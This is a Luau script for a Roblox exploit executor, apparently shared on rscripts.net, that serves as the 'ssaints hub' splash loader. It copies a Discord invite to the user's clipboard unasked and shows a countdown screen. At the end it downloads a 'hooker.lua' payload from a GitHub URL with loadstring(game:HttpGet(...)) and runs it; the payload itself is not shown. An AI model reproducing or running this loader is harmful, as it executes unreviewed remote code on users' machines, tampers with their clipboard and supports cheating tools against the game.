-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[ ssaints hub Splash Loader Language : Luau (Roblox executor) Behavior : - Copies new Discord invite to clipboard. - Fades in the ssaints hub UI. - Runs a 10-second timer. - Fades out, destroys UI. - Executes the hooker.lua payload. --]] local TweenService = game:GetService("TweenService") -- 1. Copy Discord to Clipboard pcall(function() if type(setclipboard) == "function" then setclipboard("https://discord.gg/yqZgxMz7k") end end) -- 2. Build the Splash UI local splashGui = Instance.new("ScreenGui") splashGui.Name = "SsaintsHubSplash" splashGui.ResetOnSpawn = false splashGui.IgnoreGuiInset = true splashGui.DisplayOrder = 2147483647 splashGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling local parentTarget = game:GetService("CoreGui") if type(gethui) == "function" then local ok, hui = pcall(gethui) if ok and hui then parentTarget = hui end end splashGui.Parent = parentTarget local bg = Instance.new("Frame") bg.Name = "Background" bg.Size = UDim2.fromScale(1, 1) bg.BackgroundColor3 = Color3.fromRGB(12, 12, 16) bg.BackgroundTransparency = 1 bg.BorderSizePixel = 0 bg.Parent = splashGui local center = Instance.new("Frame") center.Name = "Center" center.Size = UDim2.fromOffset(400, 220) center.Position = UDim2.fromScale(0.5, 0.5) center.AnchorPoint = Vector2.new(0.5, 0.5) center.BackgroundColor3 = Color3.fromRGB(20, 20, 26) center.BorderSizePixel = 0 center.BackgroundTransparency = 1 center.Parent = bg Instance.new("UICorner", center).CornerRadius = UDim.new(0, 12) local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(88, 101, 242) stroke.Thickness = 2 stroke.Transparency = 1 stroke.Parent = center local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 50) title.Position = UDim2.fromOffset(0, 20) title.BackgroundTransparency = 1 title.Font = Enum.Font.GothamBold title.Text = "ssaints hub" title.TextSize = 32 title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextTransparency = 1 title.Parent = center local sub = Instance.new("TextLabel") sub.Size = UDim2.new(1, 0, 0, 20) sub.Position = UDim2.fromOffset(0, 65) sub.BackgroundTransparency = 1 sub.Font = Enum.Font.Gotham sub.Text = "for scripts and more" sub.TextSize = 14 sub.TextColor3 = Color3.fromRGB(160, 160, 170) sub.TextTransparency = 1 sub.Parent = center local discordLabel = Instance.new("TextLabel") discordLabel.Size = UDim2.new(1, 0, 0, 20) discordLabel.Position = UDim2.fromOffset(0, 100) discordLabel.BackgroundTransparency = 1 discordLabel.Font = Enum.Font.GothamBold discordLabel.Text = "discord.gg/yqZgxMz7k" discordLabel.TextSize = 16 discordLabel.TextColor3 = Color3.fromRGB(88, 101, 242) discordLabel.TextTransparency = 1 discordLabel.Parent = center local timerLabel = Instance.new("TextLabel") timerLabel.Size = UDim2.new(1, 0, 0, 30) timerLabel.Position = UDim2.fromOffset(0, 135) timerLabel.BackgroundTransparency = 1 timerLabel.Font = Enum.Font.GothamBold timerLabel.Text = "Loading in 10..." timerLabel.TextSize = 18 timerLabel.TextColor3 = Color3.fromRGB(255, 100, 100) timerLabel.TextTransparency = 1 timerLabel.Parent = center -- Close button (X) local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.fromOffset(24, 24) closeBtn.Position = UDim2.new(1, -32, 0, 8) closeBtn.BackgroundTransparency = 1 closeBtn.Font = Enum.Font.GothamBold closeBtn.Text = "✕" closeBtn.TextSize = 14 closeBtn.TextColor3 = Color3.fromRGB(180, 180, 190) closeBtn.TextTransparency = 1 closeBtn.Parent = center closeBtn.MouseButton1Click:Connect(function() splashGui:Destroy() -- Optional: Add a flag to skip the payload if they click X, -- but usually X just closes the UI and the timer script dies. end) -- 3. Fade In (0.5s) local fadeInInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) TweenService:Create(bg, fadeInInfo, {BackgroundTransparency = 0.2}):Play() TweenService:Create(center, fadeInInfo, {BackgroundTransparency = 0.1}):Play() TweenService:Create(stroke, fadeInInfo, {Transparency = 0}):Play() TweenService:Create(title, fadeInInfo, {TextTransparency = 0}):Play() TweenService:Create(sub, fadeInInfo, {TextTransparency = 0}):Play() TweenService:Create(discordLabel, fadeInInfo, {TextTransparency = 0}):Play() TweenService:Create(timerLabel, fadeInInfo, {TextTransparency = 0}):Play() TweenService:Create(closeBtn, fadeInInfo, {TextTransparency = 0}):Play() -- 4. Timer Logic (10 Seconds) task.spawn(function() for i = 10, 1, -1 do if not splashGui.Parent then break end timerLabel.Text = "Loading in " .. i .. "..." task.wait(1) end if not splashGui.Parent then return end timerLabel.Text = "Executing..." task.wait(0.5) -- 5. Fade Out (0.5s) local fadeOutInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.In) TweenService:Create(bg, fadeOutInfo, {BackgroundTransparency = 1}):Play() TweenService:Create(center, fadeOutInfo, {BackgroundTransparency = 1}):Play() TweenService:Create(stroke, fadeOutInfo, {Transparency = 1}):Play() TweenService:Create(title, fadeOutInfo, {TextTransparency = 1}):Play() TweenService:Create(sub, fadeOutInfo, {TextTransparency = 1}):Play() TweenService:Create(discordLabel, fadeOutInfo, {TextTransparency = 1}):Play() TweenService:Create(timerLabel, fadeOutInfo, {TextTransparency = 1}):Play() TweenService:Create(closeBtn, fadeOutInfo, {TextTransparency = 1}):Play() task.wait(0.6) splashGui:Destroy() -- 6. EXECUTE THE PAYLOAD local payload = 'loadstring(game:HttpGet("https://raw.githubusercontent.com/skidcoded/kiciahooker/refs/heads/main/hooker.lua"))()' local func, err = loadstring(payload) if func then local success, execErr = pcall(func) if not success then warn("[ssaints hub] Execution error: " .. tostring(execErr)) end else warn("[ssaints hub] Compile error: " .. tostring(err)) end end)